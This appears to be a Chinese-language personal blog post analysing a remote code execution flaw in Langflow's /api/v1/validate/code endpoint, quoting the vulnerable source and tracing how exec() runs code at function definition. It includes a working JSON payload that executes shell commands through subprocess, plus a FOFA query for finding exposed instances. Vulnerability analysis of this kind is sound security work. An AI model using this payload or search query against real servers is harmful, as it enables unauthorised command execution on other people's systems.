Langflow_RCE漏洞

漏洞应该是在4/10号由华顺信安发现的,当天就拿到了poc,当时还没发补丁,所以漏洞很容易复现,复现后再找漏洞原因,由于这个框架不太熟,而且使用的uvicorn服务器,又是不太熟,导致找根目录就用了好久。。。搞到了晚上12点终于找到了漏洞语句,奈何班群又发第二天要交就业结课作业,而且第二天要上班,要早睡,所以没有记录下来,写blog,周天想起来复现,天塌了,官方发布了补丁,漏洞利用不成功,还好把那几个漏洞关键文件复制到记事本了。。。

Langflow

LangFlow是一个针对LangChain的GUI,它采用了反应流设计,提供了一种轻松的方式,通过拖放组件和聊天框来实验和原型化流程,将llm嵌入到您的应用程序中。

FOFA查询语法
app=”LOGSPACE-LangFlow”

漏洞复现

goby漏洞发布链接

漏洞位置为
/api/v1/validate/code
其中/api/v1为路径
validate目录下为validate.py
下面是validate.py的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from fastapi import APIRouter, HTTPException
from loguru import logger

from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code

# build router
router = APIRouter(prefix="/validate", tags=["Validate"])


@router.post("/code", status_code=200, response_model=CodeValidationResponse)
def post_validate_code(code: Code):
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
return HTTPException(status_code=500, detail=str(e))


@router.post("/prompt", status_code=200, response_model=PromptValidationResponse)
def post_validate_prompt(prompt_request: ValidatePromptRequest):
try:
if not prompt_request.frontend_node:
return PromptValidationResponse(
input_variables=[],
frontend_node=None,
)

# Process the prompt template using direct attributes
input_variables = process_prompt_template(
template=prompt_request.template,
name=prompt_request.name,
custom_fields=prompt_request.frontend_node.custom_fields,
frontend_node_template=prompt_request.frontend_node.template,
)

return PromptValidationResponse(
input_variables=input_variables,
frontend_node=prompt_request.frontend_node,
)
except Exception as e:
logger.exception(e)
raise HTTPException(status_code=500, detail=str(e)) from e

重点关注这个语句,漏洞语句为

1
2
3
4
5
6
7
8
9
10
@router.post("/code", status_code=200, response_model=CodeValidationResponse)
def post_validate_code(code: Code):
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
return HTTPException(status_code=500, detail=str(e))

这是一个基于 FastAPI 的路由处理函数,用于验证代码并返回结构化错误信息

  • @router.post(“/code”):声明这是一个处理 POST 请求 的路由,请求路径为 /code
  • response_model=CodeValidationResponse:定义响应数据的模型为 CodeValidationResponse,FastAPI 会自动将返回值转换为该模型定义的格式(包括数据校验和序列化)
  • code: Code => 接收我们的code参数

首先errors调用了一个函数validate_code
通过查看import调用找到源文件
/app/.venv/lib/python3.12/site-packages/langflow/utils/validate.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
import ast
import contextlib
import importlib
from types import FunctionType
from typing import Dict, List, Optional, Union

from pydantic import ValidationError

from langflow.field_typing.constants import CUSTOM_COMPONENT_SUPPORTED_TYPES


def add_type_ignores():
if not hasattr(ast, "TypeIgnore"):

class TypeIgnore(ast.AST):
_fields = ()

ast.TypeIgnore = TypeIgnore


def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}

# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code)
except Exception as e:
errors["function"]["errors"].append(str(e))
return errors

# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []

# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name)
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))

# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e:
errors["function"]["errors"].append(str(e))

# Return the errors dictionary
return errors


def eval_function(function_string: str):
# Create an empty dictionary to serve as a separate namespace
namespace: Dict = {}

# Execute the code string in the new namespace
exec(function_string, namespace)
function_object = next(
(
obj
for name, obj in namespace.items()
if isinstance(obj, FunctionType) and obj.__code__.co_filename == "<string>"
),
None,
)
if function_object is None:
raise ValueError("Function string does not contain a function")
return function_object


def execute_function(code, function_name, *args, **kwargs):
add_type_ignores()

module = ast.parse(code)
exec_globals = globals().copy()

for node in module.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
exec(
f"{alias.asname or alias.name} = importlib.import_module(\'{alias.name}\')",
exec_globals,
locals(),
)
exec_globals[alias.asname or alias.name] = importlib.import_module(alias.name)
except ModuleNotFoundError as e:
raise ModuleNotFoundError(f"Module {alias.name} not found. Please install it and try again.") from e

function_code = next(
node for node in module.body if isinstance(node, ast.FunctionDef) and node.name == function_name
)
function_code.parent = None
code_obj = compile(ast.Module(body=[function_code], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj, exec_globals, locals())
except Exception as exc:
raise ValueError("Function string does not contain a function") from exc

# Add the function to the exec_globals dictionary
exec_globals[function_name] = locals()[function_name]

return exec_globals[function_name](*args, **kwargs)


def create_function(code, function_name):
if not hasattr(ast, "TypeIgnore"):

class TypeIgnore(ast.AST):
_fields = ()

ast.TypeIgnore = TypeIgnore

module = ast.parse(code)
exec_globals = globals().copy()

for node in module.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
exec_globals[alias.asname or alias.name] = importlib.import_module(alias.name)
except ModuleNotFoundError as e:
raise ModuleNotFoundError(f"Module {alias.name} not found. Please install it and try again.") from e

function_code = next(
node for node in module.body if isinstance(node, ast.FunctionDef) and node.name == function_name
)
function_code.parent = None
code_obj = compile(ast.Module(body=[function_code], type_ignores=[]), "<string>", "exec")
with contextlib.suppress(Exception):
exec(code_obj, exec_globals, locals())
exec_globals[function_name] = locals()[function_name]

# Return a function that imports necessary modules and calls the target function
def wrapped_function(*args, **kwargs):
for module_name, module in exec_globals.items():
if isinstance(module, type(importlib)):
globals()[module_name] = module

return exec_globals[function_name](*args, **kwargs)

return wrapped_function


def create_class(code, class_name):
"""
Dynamically create a class from a string of code and a specified class name.

:param code: String containing the Python code defining the class
:param class_name: Name of the class to be created
:return: A function that, when called, returns an instance of the created class
"""
if not hasattr(ast, "TypeIgnore"):
ast.TypeIgnore = create_type_ignore_class()

# Replace from langflow import CustomComponent with from langflow.custom import CustomComponent
code = code.replace("from langflow import CustomComponent", "from langflow.custom import CustomComponent")
code = code.replace(
"from langflow.interface.custom.custom_component import CustomComponent",
"from langflow.custom import CustomComponent",
)
module = ast.parse(code)
exec_globals = prepare_global_scope(code, module)

class_code = extract_class_code(module, class_name)
compiled_class = compile_class_code(class_code)
try:
return build_class_constructor(compiled_class, exec_globals, class_name)
except ValidationError as e:
messages = [error["msg"].split(",", 1) for error in e.errors()]
error_message = "\
".join([message[1] if len(message) > 1 else message[0] for message in messages])
raise ValueError(error_message) from e


def create_type_ignore_class():
"""
Create a TypeIgnore class for AST module if it doesn\'t exist.

:return: TypeIgnore class
"""

class TypeIgnore(ast.AST):
_fields = ()

return TypeIgnore


def prepare_global_scope(code, module):
"""
Prepares the global scope with necessary imports from the provided code module.

:param module: AST parsed module
:return: Dictionary representing the global scope with imported modules
"""
exec_globals = globals().copy()
exec_globals.update(get_default_imports(code))
for node in module.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
exec_globals[alias.asname or alias.name] = importlib.import_module(alias.name)
except ModuleNotFoundError as e:
raise ModuleNotFoundError(f"Module {alias.name} not found. Please install it and try again.") from e
elif isinstance(node, ast.ImportFrom) and node.module is not None:
try:
imported_module = importlib.import_module(node.module)
for alias in node.names:
exec_globals[alias.name] = getattr(imported_module, alias.name)
except ModuleNotFoundError:
raise ModuleNotFoundError(f"Module {node.module} not found. Please install it and try again")
return exec_globals


def extract_class_code(module, class_name):
"""
Extracts the AST node for the specified class from the module.

:param module: AST parsed module
:param class_name: Name of the class to extract
:return: AST node of the specified class
"""
class_code = next(node for node in module.body if isinstance(node, ast.ClassDef) and node.name == class_name)

class_code.parent = None
return class_code


def compile_class_code(class_code):
"""
Compiles the AST node of a class into a code object.

:param class_code: AST node of the class
:return: Compiled code object of the class
"""
code_obj = compile(ast.Module(body=[class_code], type_ignores=[]), "<string>", "exec")
return code_obj


def build_class_constructor(compiled_class, exec_globals, class_name):
"""
Builds a constructor function for the dynamically created class.

:param compiled_class: Compiled code object of the class
:param exec_globals: Global scope with necessary imports
:param class_name: Name of the class
:return: Constructor function for the class
"""

exec(compiled_class, exec_globals, locals())
exec_globals[class_name] = locals()[class_name]

# Return a function that imports necessary modules and creates an instance of the target class
def build_custom_class():
for module_name, module in exec_globals.items():
if isinstance(module, type(importlib)):
globals()[module_name] = module

exec_globals[class_name]

return exec_globals[class_name]

build_custom_class.__globals__.update(exec_globals)
return build_custom_class()


def get_default_imports(code_string):
"""
Returns a dictionary of default imports for the dynamic class constructor.
"""

default_imports = {
"Optional": Optional,
"List": List,
"Dict": Dict,
"Union": Union,
}
langflow_imports = list(CUSTOM_COMPONENT_SUPPORTED_TYPES.keys())
necessary_imports = find_names_in_code(code_string, langflow_imports)
langflow_module = importlib.import_module("langflow.field_typing")
default_imports.update({name: getattr(langflow_module, name) for name in necessary_imports})

return default_imports


def find_names_in_code(code, names):
"""
Finds if any of the specified names are present in the given code string.

:param code: The source code as a string.
:param names: A list of names to check for in the code.
:return: A set of names that are found in the code.
"""
found_names = {name for name in names if name in code}
return found_names


def extract_function_name(code):
module = ast.parse(code)
for node in module.body:
if isinstance(node, ast.FunctionDef):
return node.name
raise ValueError("No function definition found in the code string")


def extract_class_name(code):
module = ast.parse(code)
for node in module.body:
if isinstance(node, ast.ClassDef):
return node.name
raise ValueError("No class definition found in the code string")

直接看关键语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}

# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code) #解析AST,看语法有无错误
except Exception as e:
errors["function"]["errors"].append(str(e))
return errors

# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []

# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name) #动态导入模块import
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))

# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e:
errors["function"]["errors"].append(str(e))

# Return the errors dictionary
return errors

这里直接上payload

1
2
3
4
{
"code":
"def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"ls\",shell=True))')):\n\n pass"
}

AST解析语法没有问题
生成AST结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Module(
body=[
FunctionDef(
name='exploit',
args=arguments(
posonlyargs=[],
args=[
arg(
arg='cmd',
annotation=None,
default=Call(
func=Name(id='exec', ctx=Load()),
args=[Constant(value='raise Exception(__import__("subprocess").check_output("id",shell=True))')],
keywords=[]
)
)
],
kwonlyargs=[],
kw_defaults=[],
defaults=[]
),
body=[Pass()],
decorator_list=[]
)
]
)

importlib.import_module(alias.name)
没有导入模块,但不影响
关键代码

1
2
3
4
5
6
7
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # 动态执行函数定义代码
except Exception as e:
...

看到这里有exec,放在哪个语言都是敏感函数
执行了我们输入的语句,并无限制

  • 外层 exec:在函数参数默认值中调用 exec,强制在函数定义时执行代码。
  • 内层字符串代码:通过 raise Exception(…) 包裹命令执行逻辑,目的是将命令输出嵌入异常消息中(用于泄露信息)。

CodeValidationResponse(BaseModel) 用来输出我们代码执行的结果,源代码为base.py,这里我们就展示这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
class CodeValidationResponse(BaseModel):
imports: dict
function: dict

@field_validator("imports")
@classmethod
def validate_imports(cls, v):
return v or {"errors": []}

@field_validator("function")
@classmethod
def validate_function(cls, v):
return v or {"errors": []}

漏洞利用流程

/api/v1/validate/code路径下post请求
payload

1
2
3
4
{
"code":
"def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\",shell=True))')):\n\n pass"
}

FastAPI 将请求体解析为 Code 模型,提取 code.code 的值为字符串

1
2
def post_validate_code(code: Code)
code.code = 'def exploit(cmd=exec(\'raise Exception(__import__("subprocess").check_output("id",shell=True))\')):\n pass'

调用 validate_code 函数

1
errors = validate_code(code.code)

首先解析代码为 AST

1
2
3
4
5
try:
tree = ast.parse(code.code) # 解析成功,无语法错误
except Exception as e:
# 语法错误处理(此处未触发)
...

生成的AST结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Module(
body=[
FunctionDef(
name='exploit',
args=arguments(
posonlyargs=[],
args=[
arg(
arg='cmd',
annotation=None,
default=Call(
func=Name(id='exec', ctx=Load()),
args=[Constant(value='raise Exception(__import__("subprocess").check_output("id",shell=True))')],
keywords=[]
)
)
],
kwonlyargs=[],
kw_defaults=[],
defaults=[]
),
body=[Pass()],
decorator_list=[]
)
]
)

由于代码中没有 import 语句,此步骤跳过。

1
importlib.import_module(alias.name)

编译并执行函数定义(无限制)

1
2
3
4
5
6
7
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # 动态执行函数定义代码
except Exception as e:
...

检查当前节点是否是函数定义isinstance(例如 def foo(): pass)

  • ast.Module(body=[node], type_ignores=[]):创建一个新的 AST 模块节点,仅包含当前函数定义节点。
  • compile:将 AST 模块编译为 Python 字节码对象,使其可以执行。
  • exec:动态执行代码对象
    payload
    1
    def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\",shell=True))')):\n\n pass
  • 外层 exec:在函数参数默认值中调用 exec,强制在函数定义时执行代码。
  • 内层字符串代码:通过 raise Exception(…) 包裹命令执行逻辑,目的是将命令输出嵌入异常消息中(用于泄露信息)。

执行id命令

因为有补丁后续复现失败,所以只有一张当时利用成功的图片

补丁修复后


Langflow_RCE漏洞
http://example.com/2025/04/13/Langflow_RCE_CVE-2024-2348/
作者
奇怪的奇怪
发布于
2025年4月13日
许可协议